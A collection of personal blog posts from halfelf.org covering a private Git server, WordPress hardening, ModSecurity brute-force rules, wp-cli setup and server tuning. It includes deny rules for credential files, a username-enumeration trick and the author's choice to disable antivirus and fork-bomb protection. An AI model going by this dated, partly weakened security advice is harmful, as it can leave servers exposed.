Part of why is that I don’t want to have my stuff public. At the same time, I don’t want to pay Github while I’m learning, and I want a GUI. Why not overcomplicate my life! I’ll add on one more, I want a website where I can look at my changes all pretty like. Last time I did this via SVN, hated it, never used it, and walked away. This time I decided to use Git, and once I started using it via the command line, I realized how freaking awesome this was. And since I’m using CLI, I ran `git config --global color.ui true` to get pretty colors.
I should note that I use [Coda2 by Panic](http://panic.com/coda/) and I love it. But. It doesn’t have an easy way to properly branch and tag in SVN or Git, which is something I’m used to having. And my master plan is this. Master will have the ‘live’ real code. The branches are releases. When a branch is ready to go live, I merge it with master.
So let’s get started.
## Stage One: Install Git
I followed [Gits official directions for installing Git on my server](http://git-scm.com/book/en/Git-on-the-Server), so once you’ve got things like that up and running, it’ll be time for the webpage.
Cart comes after horse, though. I had a hell of a time getting my own [SVN crap up and running](https://halfelf.org/2010/struggling-with-subversion/ "Struggling with SubVersion"), but git was way easier. There was far less to mess with to install, since I’d already done it before. With Git, I don’t need to mess with svnserve or daemons, since git isn’t the ‘server’ where my code is stored, it’s just another repository/clone. It breaks my head sometimes, but this is a case where it’s going to be easy. Install any Git dependencies (on CentOS that means I ran `yum -y install zlib-devel openssl-devel cpio expat-devel gettext-devel` ) and then install from command line:
```
cd /usr/local/src
wget http://git-core.googlecode.com/files/git-1.8.2.2.tar.gz
tar xvzf git-1.8.2.2.tar.gz
rm git-1.8.2.2.tar.gz
cd git-1.8.2.2
./configure
make
make install
```
Done, and now I’m on 1.8.2.2. Upgrading is as easy as doing the wget again.
## Stage Two: Make Repositories
At this point, the official git directions say you should make a git account, but after some pondering, I decided to put my repos in `/home/myuser/gitrepos/` so I can easily add my repositories to my local computer. Everything is locked down via RSA keys anyway, so I can secure connect from my computers and everything is basic and simple and safe. If I want to make more repositories for other accounts, I can do it as a one-by-one basis. Right now I have no need for group stuff, this is a *me* repository after all. If I did, I’d use [git’s directions for making a git user](http://git-scm.com/book/en/Git-on-the-Server-Setting-Up-the-Server) instead.
I made projects for my domains (ipstenu and jfo) and then one for my server (mothra). I hooked into them with Coda2, which is my app of choice, and I tested that I could get and push files. I’ll come back to this in a second.
## Stage Three: Webify it!
Next up was webifying things. I want to do this, even though I’m putting it behind a password, because I’m visual and being able to see what I’ve got going on is helpful to me. I went with [GitList](http://gitlist.org/) because it looked nice. The drawback to these things is that if I used a shared repository (say `/home/gituser/gitrepos/` for example) then I’d have to web-alias to the gituser instead of having it hosted as ‘Ipstenu’ … which is okay. If I was really making a full blown shared group, I’d probably buy **gitstenu.org** and point it there.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/05/Screen-Shot-2013-05-06-at-3.41.44-PM.png)
Awesomesauce! It works! Except for this error *Unnamed repository; edit this file ‘description’ to name the repository.* That’s easily fixed on the server by editing the `description` file.
Those initial repositories are for my non-public files, actually. That’s where I keep copies of the obscure shell scripts I run, stuff that isn’t web accessible. After I got those set up, I made repositories for my themes and my mu-plugins. This gave me folders like `ipstenu-mu-plugins` and `jfogenesis-wp` because I named the theme ‘jfogenesis’ for WordPress, MediaWiki, and ZenPhoto. Still this let me progress to …
## Stage Four: Control
The whole reason I did all the rest of that was so I could do this, which seems redundant, but bear with me.
1. I checked out all the code locally, edit it, and push it back up to the repos on my server
2. On the webserver, I check out the code with a simple `git clone` to folder2 (trust me)
3. switch `folder` and `folder2` (you know how to move things)
4. Checkout the new code with a `git pull`. If I want to checkout a specific version, it’s `git checkout -b mysite-REL_1.0 origin/REL_1.0`(It’s worth mentioning that I made a branch for everything at the start as REL\_1.0 because reasons.)
And that’s it.
## Stage Five: Updates
Here’s my current process.
Locally, I start work on my new version so I make a new branch: `git checkout -b REL_2.0`
Edit my files and add and remove them as needed:
```
git rm
git add .
```
Check them in when I’m done with the files: `git commit -m "Editing foo and bar, replacing baz."`
When I’m ready with it to be tested, I push it: `git push origin REL_2.0`
Everything tests well on the dev server(Just pretend there is one.)? Okay! Let’s merge!
```
git checkout master
git merge REL_2.0
git push origin master
```
## Summary
Since this is just me running stuff, it’s pretty easy to keep track of everything. Having the website makes it easy for me to see what’s I last did and what’s changed:
[](https://halfelf.org/wp-content/uploads/sites/2/2013/05/Screen-Shot-2013-05-06-at-6-May-10.11.07-PM.png)
Again, yes, I put the git website behind password protection. I may change this later, if I determine I never put anything secret up there. But right now, this is good for me. After a couple days of using it, I liked it a lot. Enough that, unlike my foray into SVN, I kept using it. It was easy for me to keep my code organized and up to date. If I had to update ‘live’ I could still use branches easily and roll things back painlessly. That’s pretty darn cool.
**Categories:** How To
**Tags:** coding, git, open source, svn
---
### [WordPress False Security](https://halfelf.org/2013/false-security/)
**Published:** April 16, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** There are certain things I just don't do to make my site more secure, because I don't think they matter. There are others that I do, because I think they do matter. I guess the time to post about this is now!
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2013/01/f-Falsesecurity.jpeg)Credit: [Grafitti Verite](http://www.graffitiverite.com/aow-week22.htm) I wrote this months before the botnet attack of April 2013, but I kept putting off posting it. Clearly now is the time! So since people often ask me if I do certain things to protect my site, here’s what I **don’t** and **do** do.
## What I don’t do
• Hide the WP version in my HTML
• Remove readme.html
• Hide login error messages
• IP blocking\*
• Use a different prefix for your DB
• Move wp-config.php\*
I don’t bother with the readme or the WP version because it doesn’t matter. People don’t actually search for ‘Who’s using WP 3.4.2? I’ll attack them!’ They let slip their dogs of kiddie cracker war and bury us in traffic. [I learned that lesson with the TimThumb debacle.](https://halfelf.org/2011/timthumb-pseudo-ddos-effect/ "TimThumb and the Pseudo (D)DoS Effect") My server got slaughtered by people not searching for TimThumb, but slinging attacks at me as if I had it installed! Even better? They didn’t bother to differentiate where my install where WP was in a subfolder (`domain.com/wp/`) and just attacked `domain.com/wp-content/themes` directly. The same thing happened with the recent botnet attacks. Basically people are going to attack me, assuming I’m vulnerable. It’s only when I’ve pissed someone off directly that I’d worry about having a specific version being an issue. And since I keep up to date with upgrades and patches, I don’t worry so much at all.
The error messages thing stems from people worrying that failed logins to WP will tell you that you got the username *or* password wrong. So if I login as Lpstenu, it’ll say ‘ERROR: Incorrect username.’ That apparently spooks people, thinking that if you know that you’ve gotten a right username, you’ll hammer that. Do me a favor. Go to `yourdomain.com/?author=1` and what happens?(This doesn’t work on this domain because I created it back when WP defaulted your first user to ‘admin.’ I made a second ID and deleted that one.) That’s how much effort it takes to find your username, folks. It’s even easier when you look at this post and see the author name, and a link to it, right there in front of you. *Your username isn’t a secret*. It’s dead easy to get. I’m not wasting time hiding something that easy to find.
That’s not really a valid “security” improvement, anyway. It’s irrelevant whether the attacker knows what he got wrong, as it provides no extra information that would help him to get in. Furthermore, the usernames are exposed in dozens of other places already as I showed you before. I often argue that you can’t remove doors: everyone has to be able to get into a house, so we put locks on our doors as deterrents, and signs up to say we’re watched by ATD or whomever. All of those can be circumvented, and you still have a door. Most crime is prevented by deterrents, however (a sufficiently motivated and skilled person will work around anything), so really all we do is make things inconvenient enough that they go somewhere else.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/01/internet-security.jpeg)Part of security is knowing where to spend your time. Make a better mousetrap and you get smarter mice, true, but if you still want to get rid of the mice where do you start? I start with not hiding the obvious. Here’s my username, here’s my login location. They’re standard on most websites, because people have to be able to log in. Now when I really have a locked down site where I want no one but me to log in, I use .htaccess to limit login to just my IPs. This is a (minor) problem when I’m on the road, but I can always SSH in to fix that. Most of the time, though, I trust in my firewall, my server, and the basic security of WP to be enough.
IP blocking is totally useless to me. With a caveat. I use CSF and ModSecurity on my server which will block by IP if you hit very specific abuse parameters, including my newer [ModSec rules for protecting logins](https://halfelf.org/2013/wp-login-protection-modsec/ "WordPress Login Protection with ModSecurity"). However I don’t pay much attention to it, save to whitelist my commonly used IPs. The point of the firewall is not to stop people I know are bad, but to dynamically catch them in the act, block them on the fly, and then let that IP gracefully expire after a certain amount of time. Years ago I may have had to use `.htaccess` for that, manually updating it to block specific IPs, but software’s come a long way, and letting the right tool do that job is huge. If you only have .htaccess, well, you can use some [.htaccess protection of logins](https://halfelf.org/2013/wp-login-protection-htaccess/ "WordPress Login Protection With .htaccess"), or you can use [Perishable Press’s 5G Blacklist](http://perishablepress.com/5g-blacklist-2013/). As I tell people frequently, you *never* know where legit traffic is coming from, don’t be foolhardy.(True story. A customer at work insisted he did too know better, and blocked China and India traffic. Then he went there on vacation and was pissed he couldn’t log in. Yes, I mentioned I had warned him before.)
Curiously controversially, I don’t mess with the DB prefix. I use wp\_ much for the same reason I never move my wp-content folder unless I’m using CDN (and even then…) : Poorly written plugins and themes will kill me, and people can view my source code or use DB insertion calls in their code. They don’t have to know my prefix, and in fact, best coding practices are intended to work no matter where the folder is or what you use as a prefix. The other reason is I’m exceptionally lazy, and the less I have to remember that I did ‘differently’ in case of an emergency, the easier my life is. This is important when I’m ever hacked (yes, when), because I can restore faster from scratch if I didn’t go nuts reinventing the wheels or moving things around. Rebuilding a wp-config.php is very easy if I only have to change passwords and user IDs, after all.
Similarly, I don’t move my wp-config.php in most cases. I *do* on my localhost instance (so I can wipe the folder and DB and start over easily), but really it’s impractical in other situations for me. I think it would be safer to move it out of a web-accessible folder, and when possible I do that (sometimes I have WP in a subfolder) but I have other things I can do to protect that file.
## What I Do
Besides a massive amount of work keeping my server up to date and tuning my firewall, I do some things that anyone using WordPress can do:
[](https://halfelf.org/wp-content/uploads/sites/2//2013/01/false-security-1024x768.jpeg)
• .htaccess protect wp-config.php
• Lock file permissions
• Prevent plugins from writing to wp-config.php and .htaccess
• Prevent folder content browsing (for images mostly, but also plugins)
• Use strong passwords for WP/FTP/SQL accounts
• Use one-time passwords for WP/SQL/FTP/SSH accounts
I protect my wp-config.php from direct access with a really simple .htaccess directive:
```
order allow,deny
deny from all
```
I think nginx is this:
```
location ~* wp-config.php {
deny all;
}
```
This means you can’t see https://halfelf.org/wp-config.php in your browser. It’s pretty minor, in so far as things go.
I lock down my file permissions as tight as I possibly can. Nothing is set to 777, and my .htaccess isn’t writable. This means if I use a plugin that wants to edit my .htaccess (or wp-config), I have to do it manually. This is good, in my opinion. I always know exactly what I’m doing. In my .htaccess I also have `Options -Indexes`, which stops people from being able to browse empty folders (this is important for plugins that don’t have an index.php file). Since I’m using SVN and Git, I also prevent people from seeing those:
```
RewriteRule ^(.*/)?(\.svn|\.git)/ - [F,L]
ErrorDocument 403 "Access Forbidden"
```
My passwords are stupid complex. I haven’t the foggiest idea what they are thanks to [1Password](http://agilebits.com/onepassword). I also don’t *reuse* passwords. This is very important for how my server is setup, as DSO requires you to enter in passwords to upgrade WordPress. While I can use my main account, I actually created an FTP only account for each and every website on my server, and then I hard coded that (and it’s password) into my wp-config file. So yes, I have a DB password (each account is used once for each DB) and an FTP password (again, one account for each account) in my config. And no, I’m not worried about that. Sometimes I have a generic SQL ID for all DBs under one account, though that’s a tiny bit more risky.
But, most importantly, I try to cure myself of being stupid. I don’t log in to my site via non-secure ways (SSH & SFTP only). The passwords I use for my login (which is not SSL protected on WP) are one-account/one-use. I try never to log in on someone else’s computer. I don’t do admin work on potentially unsafe wifi. You see, the greatest security risk in the world isn’t the software you’re using, it’s you. You do stupid things, like recite your credit card info (or password) over your cellphone while on a train trying to get your host to reboot a server. You use Starbucks’s wifi to pay your bills. You talk about how your mother changed her name.
Social engineering is way more dangerous than any server hack, and when it’s down to the wire, that’s what I’m more worried about. After all, I have good backups of my files.
**Categories:** How It Is
**Tags:** essay, open source, plugins, security, servers, wordpress
---
### [WordPress Login Protection with ModSecurity](https://halfelf.org/2013/wp-login-protection-modsec/)
**Published:** April 10, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** If you have ModSecurity and root access, you can cold-stop people trying to brute force into WordPress on your server.
**Content:**
*No ModSec? Check out [WordPress Login Protection With .htaccess](https://halfelf.org/2013/wp-login-protection-htaccess/ "WordPress Login Protection With .htaccess")*
[](https://halfelf.org/wp-content/uploads/sites/2/2013/04/lock.jpg)If you’re on Liquid Web servers, this was already done for you. If you’re not, you should still be able to use this code on your own [ModSecurity](http://www.modsecurity.org/) instance. Since this is a way better method to block people than via a plugin, in my opinion, I thought it would be a good idea to share it here. With this rule, you won’t have quite as many http requests.
> WordPress is a popular publishing platform which is known for its robust features, numerous templates, and large support community. Unfortunately, due to such popularity, WordPress is also constantly subject to attempts at exploiting vulnerabilities. Ensuring WordPress and any associated plugins are installed with the most current versions is an important means of securing your site. However, ModSecurity provides a significant amount of further security by providing an application firewall.
>
> ModSecurity (also known as “modsec”) has proven itself useful in a variety of situations, and again this is true in assisting with WordPress brute force attempts resulting in a Denial of Service (DoS) attack. While a number of WordPress plugins exist to prevent such attacks, custom modsec rules can prevent such attacks for all WordPress installations on a server. Modsec immediately filters incoming HTTP requests, which assists against taxing server resources.
>
> These rules will block access for the offending IP address for 5 minutes upon 10 failed login attempts over a 3 minute duration. These rules have been automatically updated in the custom rules for Liquid Web’s ServerSecure service. For customers without ServerSecure, these rules can be added to their custom modsec rules. To accomplish this, edit your custom modsec user rules and append the file with the rules provided below. For CPanel servers, this file is likely located at `/usr/local/apache/conf/`
```
SecAction phase:1,nolog,pass,initcol:ip=%{REMOTE_ADDR},initcol:user=%{REMOTE_ADDR},id:5000134
# Setup brute force detection.
# React if block flag has been set.
SecRule user:bf_block "@gt 0" "deny,status:401,log,id:5000135,msg:'ip address blocked for 5 minutes, more than 10 login attempts in 3 minutes.'"
# Setup Tracking. On a successful login, a 302 redirect is performed, a 200 indicates login failed.
SecRule RESPONSE_STATUS "^302" "phase:5,t:none,nolog,pass,setvar:ip.bf_counter=0,id:5000136"
SecRule RESPONSE_STATUS "^200" "phase:5,chain,t:none,nolog,pass,setvar:ip.bf_counter=+1,deprecatevar:ip.bf_counter=1/180,id:5000137"
SecRule ip:bf_counter "@gt 10" "t:none,setvar:user.bf_block=1,expirevar:user.bf_block=300,setvar:ip.bf_counter=0"
```
Source: [Liquidweb](https://docs.google.com/document/d/1wCpp7U5uOw_krEkQrm9NXFf2LjpGvlZ7uoOK0Ok4LGM/pub) and [Frameloss](http://www.frameloss.org/2011/07/29/stopping-brute-force-logins-against-wordpress/) and [MNX Solutions](http://www.mnxsolutions.com/apache/blocking-wordpress-brute-force-attacks-against-wp-login-php.html)
Logically, someone can extend this code to any file, like `bb-login.php` or `Special:UserLogin`, depending on where they’re being hacked.
*ETA: Rarst asked if I’d have to use wildcards with Locationmatch since WP is often in a subfolder. I read [the Apache doc on locationmatch](http://httpd.apache.org/docs/2.2/mod/core.html#locationmatch) and it says that it’s using regex, so it should just look for ‘/wp-login.php’ in the URL. If I wanted to only look for example.com/wp-login.php then I’d use `^wp-login.php` instead. If I got that wrong, please let me know!*
**Categories:** How To
**Tags:** administration, security, wordpress
---
### [Customizing Author's Comments on Genesis](https://halfelf.org/2013/customizing-comments-genesis/)
**Published:** April 8, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** I needed to customize my comments on a socialish site, so people always knew who was in charge. With Genesis Framework it's pretty painless, even if you have no idea what you just wrote.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2013/04/comments.jpg)I like Genesis, but I wanted to make some tweaks to how comments looked.
1\) Bigger Avatar Size
2\) ‘Mark’ post authors and site admins
This was pretty easy, since they have a filter in for comments, so all I had to do what tell it to replace their avatar size with mine, and then to use my callback. It’s in my callback that I did an extra check. If the commenter is an admin, they’re labled ‘Site Admin’ and if they’re the post author, it’s ‘Post Author.’
The end result looks like this (I’m commenting on a CSI episode where someone’s hiding in the walls):
[](https://halfelf.org/wp-content/uploads/sites/2/2013/04/Screen-Shot-2013-04-03-at-1.22.22-PM.png)
The only hard part of the code was finding I can’t filter the comment callback, but I have to totally replace it with my own. Bummer, but not insurmountable. StudioPress has a nice document on [comment filters](http://my.studiopress.com/snippets/comments/) which explained how I could override settings like avatar size and callback, which lead me to my next step, the filter:
```
// Customize Comments for avatar size and MY callback
add_filter('genesis_comment_list_args', 'mysite_comment_list_args');
function mysite_comment_list_args($args) {
$args['avatar_size'] = '90';
$args['callback'] = 'mysite_comment_callback';
return $args;
}
```
Once I have the filter, I have to create the `mysite_comment_callback`. This is something I basically copied from the source of my theme, taking the whole function for `genesis_comment_callback` and changing what I wanted.
```
/** replace comment callback with my own **/
function mysite_comment_callback( $comment, $args, $depth ) {
$GLOBALS['comment'] = $comment;
global $post;
?>
**Categories:** How To
**Tags:** coding, css, genesis, php, wordpress
---
### [Command Line WP](https://halfelf.org/2012/command-line-wp/)
**Published:** September 4, 2012
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Git'er Done! I sat and installed wp-cli on Friday and spent my Labor Day weekend messing with it.
**Content:**
[](https://halfelf.org/wp-content/uploads/sites/2/2012/09/wp-cli-logo.png)In my new job, there’s a lot of command line work to be done. DreamHost has a mess of scripts I’m getting my comfort with, but also they’ve got this cool thing implemented on a lot of their servers called [wp-cli](https://github.com/wp-cli/wp-cli), and that’s what I’m going to talk about today.
wp-cli is a command line interface to do a lot of sneaky snazzy WP things. While most people are running towards the GUI world of pretty UI and clicks, some of us really like command lines because they’re fast. I mean, I [wrote my own command line upgrader](https://halfelf.org/hacks/wordpress-upgrade-script/) just because I wanted to (and was having PHP permissions woes at the time). Command line is just something server people are always going to like, much like people who love driving a stick-shift, or who want to hand-make their own dough for pies. We like to have that extra level on control.
Aside from being control freaks, however, we CLI jockeys are also insanely lazy. If we can get everything done without having to touch the mouse, or lift our hands from the keyboard, we’re happy. If we can automate things so that all the WordPress installs on a server are magically upgraded in one fell swoop, we’re ecstatic. We all dream of being that guy who walks into a room, presses three keys, and saves the day. (I’ve been that guy, but remember he comes at a cost. I’ve also been the guy who presses three keys and reboots the money trading servers in the middle of our busiest time. Read twice, press enter once.)
Where wp-cli takes off is in the speed you can perform basic tasks. Typing `wp` or `wp help` will get you a list of commands. If you try to run any command outside the WP folders, you’ll get a nice error message. Using Multisite, you have a cool advantage of installing a plugin once and updating it for all your sites. But in cases where you need to have things separated, wp-cli fills the void by letting you script updates. Imagine just writing a simple shell script to upgrade your plugins on all sites?
Some of you perked up. There are a lot of cases where you don’t want to run Multisite (separate users, special code, whatever), and updating multiple sites under those custom installs really can be a pill. `wp core update` can be easily scripted to run off a list of your installs, or to just trawl through your directories, look for WP, and update when it’s there.
## Installing
If you want to install this just on your own account, the directions for installing are on the wp-cli page. But me, I wanted it on my server for all my accounts. Obviously my DreamHost server has it, but this site is still on LiquidWeb (for myriad reasons, one of which is the same as why I didn’t bank at the company where I worked, old habits).
Their directions are, via git, to install in `~/git/wp-cli`, which I don’t want. I decided to put it in `/usr/share/wp-cli/` and to do this I just su’d into my root account. Otherwise I could do it all prefacing with sudo, but I’m dangerous like this.
My first hurdle was the issues I’ve had on git before, simply put the damn thing times out. The fix was so stupidly simple, once I really read into how git works. All I had to do was tell it ‘Use https.’
```
git config --global url."https://".insteadOf git://
```
Suddenly my commands started working and I was able to run [the install directions](https://github.com/wp-cli/wp-cli#installing) (modified a little):
```
git clone --recursive git://github.com/wp-cli/wp-cli.git /usr/share/wp-cli/
cd /usr/share/wp-cli/
utils/dev-build
```
This ran without a hitch. And any update for this, since I’m only ever using trunk, will be as easy as `git pull` now and then.
Now on my server, when I try to run certain commands I git this:
```
Fatal error: Out of memory (allocated 38797312) (tried to allocate 17 bytes) in /home/userID/public_html/wp-includes/widgets.php on line 635
```
Two important things to note.
1. This only happened on one of my accounts.
2. 37 Megs is a real weird amount of memory.
I happen to know I usually allocate 64M for my PHP processes, but even bumping this up to 128 didn’t change the fact that at 37M, everything crapped out. I happen to work with one of the leads on wp-cli, and Mike (aka GetSource) let me bounce ideas off him. He offered to help with any questions, but I learn best by doing, so once I sorted out the basics, and was still stumped, I appealed to his greater familiarity. By the time I logged off to clear my head and get dinner, we decided it had to be user permissions. After all, every account on the box used the same PHP instance. Every account had the same rights, etc. It had to be something funny about the profiles, which I’d buy since this server has some accounts that are 15 years old, and it’s the oldest one having the most issues.
When I picked it back up a day later, I learned something surprising. At first I could get this to run every time on a site that has bbPress, but then I discovered any time I ran a big search (like `wp theme status` on my multisite, which worked for all other commands), it would also fail. So clearly there’s a memory shenanigan running around here. I tested with and without APC, switched back and forth between PHP handlers (fCGI, suPHP, DSO), and I tried bumping the memory all the way to 128M. Nothing would get me past the weird 37M. In desperation, I changed my php Memory limit to -1. This means *no* limit. And now it failed on 32M. As I started testing various possibilities, I came across a moment where I set-faulted (this would be from APC cli, don’t use it) and finally grabbed Alex Rabe’s [WP Memory Usage](http://wordpress.org/extend/plugins/wp-memory-usage/), which tells me I was using “Memory : 8.3 of 128 MByte” on the plugins page, so I *know* WP knows it can have 128M. This lead me down a path of ‘What PHP is CLI using?’ After digging around and verifying it was the same, I started looking at how I’d locked down my server.
This is where I started banging my head on my keyboard.
[Shell Fork Bomb Protection](http://docs.cpanel.net/twiki/bin/view/11_30/WHMDocs/ShellFork) is a cool thing, in that it stops people from running rough-shod over your server. Of course they way it does this is by restricting the processes you can run via shell. And wp-cli is, say it with me, shell. Once I turned it off, everything worked. I’m not sure if this is something I’d want to do for every server, but since I can count, on one hand, the number of people with access to mine, and I know their passwords are secure, I’m okay with it.
**Categories:** How To
**Tags:** administration, command line, git, wordpress
---
### [Your Photos, Your Way](https://halfelf.org/2013/your-photos-your-way/)
**Published:** April 6, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Why am I supporting PressGram on KickStarter? Because I want the app, and so do you, even if you haven't realized it yet.
**Content:**
**[I’m funding PressGram on Kickstarter and you should too.](http://www.kickstarter.com/projects/tentblogger/pressgram-an-image-sharing-app-built-for-an-indepe)**
I like Open Source. Surprise!
I don’t mind paying for products (as witnessed by the fact that I have paid for this theme, and even the old DevPress and ThemeHybrid ones I don’t use anymore. I have a slew of plugins I paid for, and all in all, I think every dime was money well spent. Paying for open source makes sense.
So there’s this guy I know from the Internet, John Saddington, who likes taking photos, and he likes social media, but he wonders, like I often do, what happens when those outlets go away? Where are all my photos if TwitPic or YFrog vanishes? Or if Facebook deletes my account?
They’re gone.
[John loves WordPress](http://build.codepoet.com/2012/12/17/john-saddington-interview/). So do I. John loves photos. Well. I fiddle around with them, but the point is he wants to built something that is way more than ‘just’ a plugin. He wants to make a free iPhone app… look, this is what he wants:
> The premise is simple: I wanted to post filtered photos from my iPhone 5 but without worrying about any [privacy](http://www.facebook.com/help/privacy) or [licensing](http://news.cnet.com/8301-13578_3-57559710-38/instagram-says-it-now-has-the-right-to-sell-your-photos/) issues (and we’re not interested in asking you to [upload photo IDs](http://www.theverge.com/2013/1/26/3918340/instagram-photo-id-verification-policy-explanation)). In other words, I wanted complete and total [creative control](http://blog.pressgr.am/control/ "Control") of my images and content (as well as the pageviews).
And this will post to WordPress, which is so simple, we have a one-click installer at DreamHost for you to use to make it. Imagine that. You could have a photoblog with a couple clicks.
When I read that John was making [PressGram](http://pressgr.am/), I had to poke at it, even though it’s not [Open Source](http://blog.pressgr.am/open-source/). It’s an Apple iOS app. I’m not shocked that it’s not open source, and after consideration, I don’t mind. It doesn’t have to be. As long as the plugin is open source (and frankly, given WordPress’s API, I can easily envision how it would be without stepping on closed source apps), it’s good to go.
John knows his shit. He shares the same concerns and doubts about social media as I do, he rails on Facebook for the same things I do. He’s a guy whose ethics I can get behind. And he’s a guy whose *code* I can get behind. Remember I review plugins. I’ve seen his code. It’s good.
So yeah, I’m supporting him so you can have a free app. Go figure. And as with most of the things I kickstart, I get no swag back (I think I get a kudos and a link somewhere), because I like to give for the spirit of giving most of the time. I’ll be getting the [Veronica Mars DVD](http://www.kickstarter.com/projects/559914737/the-veronica-mars-movie-project/), but I’d be buying that anyway.
Give in. You know you want this. Pay $5 instead of risking your content belonging to someone else.
**Categories:** How It Is
**Tags:** essay, open source, plugins, social media, wordpress
---
### [Chrome Dumps Webkit](https://halfelf.org/2013/chrome-dumps-webkit/)
**Published:** April 3, 2013
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** Words. They fail me. Chrome changes the game again, and I'm not sure how I feel.
**Content:**
Chromium, the machine behind Chrome, has [dumped Webkit](http://blog.chromium.org/2013/04/blink-rendering-engine-for-chromium.html).
This speaks for us all:
> Chrome is no longer using webkit. Every developer in the world:
>
> — soully (@soully) [April 3, 2013](https://twitter.com/soully/status/319575906526060544?ref_src=twsrc%5Etfw)
[](https://halfelf.org/wp-content/uploads/sites/2/2013/04/bridesmaids.gif)
I’m not sure what’s going viral first, that gif or a ‘Don’t blink’ joke that someone has yet to make up. Oh, the new system is called [Blink](http://www.chromium.org/blink), and it’s open source.
> We know that the introduction of a new rendering engine can have significant implications for the web. Nevertheless, we believe that having multiple rendering engines—similar to having multiple browsers—will spur innovation and over time improve the health of the entire open web ecosystem.
[](https://halfelf.org/wp-content/uploads/sites/2/2013/04/tumblr_m8icq34Jhu1rvt942o1_500.png)Yes, this means we all get to use even more browsers to make sure our sites look okay on all of them. Again. Thanks. And while they say it’s ‘based on’ webkit, that’s about as ‘related to’ as when *Law & Order* would say ‘The following episode is based on a true story, only names have been changed…’
This prompted [my coworker Shredder](http://getsource.net) to opine “Are Google and Mozilla late-april-fooling us?”
Did you miss the [Mozilla/Samsung partnership](https://blog.mozilla.org/blog/2013/04/03/mozilla-and-samsung-collaborate-on-next-generation-web-browser-engine/)? Or maybe you didn’t notice that [Opera moved *too* Webkit](http://my.opera.com/ODIN/blog/300-million-users-and-move-to-webkit) in February. No wait! *[OPERA SWITCHES TO BLINK](http://www.brucelawson.co.uk/2013/hello-blink/)*
Okay, Rarst is right: They’re out to screw over Apple.
Well, I don’t know about you, but I can’t *wait* to see the new ways in which my sites break!
**Categories:** How It Is
**Tags:** browser, open source, website
---
### [You’re not the boss of me](https://halfelf.org/2009/youre-not-the-boss-of-me/)
**Published:** April 6, 2009
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** My move into the land of VPS. And I never look back.
**Content:**
After having my domains on three different servers for a long time, I mathed it out that it’d cost me the same to put ’em all on one VPS (virtual private server). After calling up my ISP (the fanfreakintastic [LiquidWeb](http://liquidweb.com)) they had me all moved over without me having to fuss! Combine two shared accounts into one VPS? Sure, done. I suspect my next bill will look … weird, but that’s okay. I’m sure that even if it’s all messed up, I can call them and get it sorted out.
The first thing I did was make sure everything was running and then I left it alone for a day. Did anyone notice? No? Good, the fix was in!
Then I started fiddling. I didn’t know a lot about VPS, having only mucked about with a RedHat distro before, and LiquidWeb provided me with [cPanel and WHM](http://www.cpanel.net/products/cpwhm/cpanel11/index.html), which I’d never used before. They also had the very familiar shell world for me to jump into. Google being what it is, I quickly found a [VPS Optimization Guide](http://www.earnersblog.com/vps-optimization-guide/) that gave me some ideas to start.
**What I’ve Done So Far**
My memory usage, with one beefy site and two baby sites, was hitting 50% which, in my mind, was bad. Now the beefy site runs off WordPress which is known to have these issues. My CPU was barely passing 0.01 (yes, that’s right) though, so that was good. My first thought was to try WP-Super-Cache again, except last time I did that, CPU went through the roof and stayed there. Also, you lose dynamic feeds etc (unless you use AJAX) and I’ve heard great things about WP-Super-Cache but the fact that it’s **not** a locked in part of WP has always made me wonder as to it’s viability. If it really was that good, or the only solution, it would be built in. Not to knock it, but I consider it only one option.
While I know I need to optimize WP, my first stab was to optimize the server. Except that I didn’t. I switched from Zend to APC. Now, I’m not really sure if that was the best thing to do. I find a lot of people clamoring that APC is better and since I’d had weird issues with Zend before (outright borking MediaWiki if not configured specially), I decided to give APC a shot. If someone has info on some benchmarks or a good link to why APC is better than other PHP cache tools, I’d like to see them.
Then I removed Clamd (and ClamAV). Yes, I know it’s virus scan software, but I’ve never actually seen it catch anything. What I run on the server, and what my ONE (yes one) resold client will run, aren’t going to get caught by it. We run the same stuff. So call it a calculated risk. I also turned off EntropyChat (never gonna use it), MailMan (resource hog), Analog Stats and Webalizer (leaving AW stats, though personally I use Woorpa and Google for stats). Gave the server a bounce after all that and my memory dropped from the 50-th percentile to the 30s. I consider that a success.
My only issue is that my phpinfo page looks weird… No idea what happened there.
**Categories:** How To
**Tags:** hosting, performance, seo, servers, website
---
### [WordPress, DSO and Permissions](https://halfelf.org/2011/wordpress-dso-and-permissions/)
**Published:** November 7, 2011
**Author:** Ipstenu (Mika Epstein)
**Excerpt:** DSO is my PHP flavor of choice, but it has strange issues with WordPress, necessitating in permissions more open than I like. Thankfully there's a fix!
**Content:**
 I run my server with PHP DSO.(For the differences between DSO and SuPHP, read [DSO (mod\_php) vs. CGI vs. suPHP vs. FastCGI](http://boomshadow.net/tech/php-handlers/)) It lets me run APC, and I’ve always liked it. It does have some weird problems, mind you, like a tendency to upload files as `nobody:nobody`, and more importantly it means that you have to set your wp-content/uploads folder permissions to 777. Thankfully there’s a fix!
If you’re not good with command line, scared by shell, and terrified of chmod, you’ll need to find your friendly neighborhood sysadmin to help you out. It’s okay to not feel up to doing this, and it should go without saying that you should make a backup first!
To step back, someone’s going to ask “Why is 777 bad?” [Unix permissions are complicated](http://www.perlfect.com/articles/chmod.shtml). Every file in UNIX has an owner user and an owner group, and most of the time they’re the same. Mine are `ipstenu:ipstenu` (which means owner ipstenu, group ipstenu). Now another account on this server, conrel, has `conrel:conrel`. The *groups* ipstenu and conrel are both in the same webmaster group, which gives them special permissions. It’s confusing to a lot of people that most webhosts use the same name for the user and the group, but it’s just what we do.
Now for every file, there are three types of ‘ownership’:
1. User ownership – i.e. the user ipstenu
2. Group ownership – i.e. the group ipstenu
3. No ownership – i.e. you who are reading my site
There are also three types of permission levels”
- read (r)
- modify/edit/write (w)
- execute/run (x)
This all works out so when you go in via unix shell and look at your files you see soemthing like this:
`-rw-r--r-- 1 ipstenu ipstenu 203789 Oct 5 19:30 stevejobs.png`
